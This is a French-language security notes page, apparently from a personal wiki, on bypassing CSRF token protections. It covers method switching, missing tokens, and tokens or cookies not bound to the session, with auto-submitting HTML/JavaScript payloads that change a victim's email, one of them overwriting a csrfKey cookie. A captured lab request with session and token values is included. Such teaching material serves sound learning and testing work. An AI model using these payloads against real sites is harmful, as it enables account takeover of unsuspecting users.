> For the complete documentation index, see [llms.txt](https://sansong.gitbook.io/cyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sansong.gitbook.io/cyber/web/client/csrf/bypass-token.md).

# Bypass token

## Bypass CSRF token

### method

Pas tout le temps de validation du token en fonction de la méthode

```html
<html>
    <body>
        <img src="https://site-vulnerable.com/change-email?email=evil%40mail.com">
    </body>
</html>
```

### presence du token

faire un formulaire sans le token

### token non lié au cookie de session

utiliser un token d'un autre compte que celui ciblé (l'attaquant doit avoir accès à un token valide)

```html
<html>
    <body>
        <form action="https://site-vulnerable.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
            <input type="hidden" name="csrf" value="<token valide>" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>
```

### cookie de session et cookie csrf non liés

deux cookies différents sont utilisés, si on peut modifier le cookie de la victime dans son navigateur on peut utiliser le notre qui est valide

```
POST /my-account/change-email HTTP/2
Host: 0aaf005a030184bc83bc1993000400a5.web-security-academy.net
Cookie: csrfKey=hbEVndt0gpd0SZvS9S3nx82KpFXbnMYY; session=fNnC6LSwF9avoHcqXgTFN60InOFNz1ML
[...]

email=test%40mail.net&csrf=usSm9f6XuiR59l8Xw2QBWfs5t7nil8t2
```

```html
<html>
  <body>
    <form action="https://0aaf005a030184bc83bc1993000400a5.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="nicole@evil-user.net" />
      <input type="hidden" name="csrf" value="usSm9f6XuiR59l8Xw2QBWfs5t7nil8t2" />
    </form>
    <script>
      // Get all cookies as a string
      let cookieName = 'csrfKey';
      let cookieValue = 'hbEVndt0gpd0SZvS9S3nx82KpFXbnMYY';
      let newCookie = cookieName + '=' + cookieValue;
      let cookies = document.cookie;
      // Split cookies into individual key-value pairs
      let cookiesArray = cookies.split(';');
      // Initialize a variable to store the updated cookies
      let updatedCookies = [];
      // Iterate over the array of cookies
      for (let i = 0; i < cookiesArray.length; i++) {
        let cookie = cookiesArray[i].trim();
        // Check if the cookie is csrfKey
        if (cookie.startsWith(cookieName + '=')) {
          // Remove the csrfKey cookie (skip it)
          updatedCookies.push(newCookie);
        } else {
          // Keep other cookies as they are
          updatedCookies.push(cookie);
        }
      }
      // Set all updated cookies
      document.cookie = updatedCookies.join('; ');
      // Send the form
      document.forms[0].submit();
    </script>
  </body>
</html>
```
